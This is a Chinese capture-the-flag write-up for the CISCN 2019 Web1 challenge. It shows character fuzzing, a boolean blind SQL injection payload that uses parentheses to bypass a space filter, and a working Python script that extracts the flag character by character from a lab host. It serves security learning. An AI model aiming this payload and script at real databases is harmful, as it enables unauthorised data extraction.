[CISCN 2019华北Day2]Web1

1.知道一个表flag,表中有字段flag---》可以直接跳到查数据那一步啊

2.输入--+、#、'、"等都不行---》用fuzz测试查看过滤了那些

1. 题目给了一个输入框,很明显是要注入

先尝试随便提交点东西:

  • 传入1

  • 传入1'

  • 传入1"

可以看出题目应该是过滤了一些字符

2. 下面我们抓包进行Fuzz测试判断过滤了哪些字符

回显长度为490的被过滤了,看其他师傅的wp,好像还过滤了不少字符,但我这没扫出来:

因为给了flag的位置了,我们可以直接构造payload:

id=(select(ascii(mid(flag,1,1))=78)from(flag))

利用()绕过空格过滤

该payload最内层,mid表示从flag列的第一个字符开始截取长度为1的子字符串

第二层ascii用于判断截取出来的子字符串的ascii码值是否为78(即N,flag格式为NSSCTF{})

若是,则页面回显id=1的页面

回显正常,那么此时利用脚本进行盲注:

import requests
import string

def blind_injection(url):
	flag = ''
	strings = string.printable
	for num in range(1,60):
		for i in strings:
			payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
			post_data = {"id":payload}
			res = requests.post(url=url,data=post_data)
			if 'Hello' in res.text:
				flag += i
				print(flag)
			else:
				continue
	print(flag)

if __name__ == '__main__':
	url = 'http://node2.anna.nssctf.cn:28841/index.php'
	blind_injection(url)

最终得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值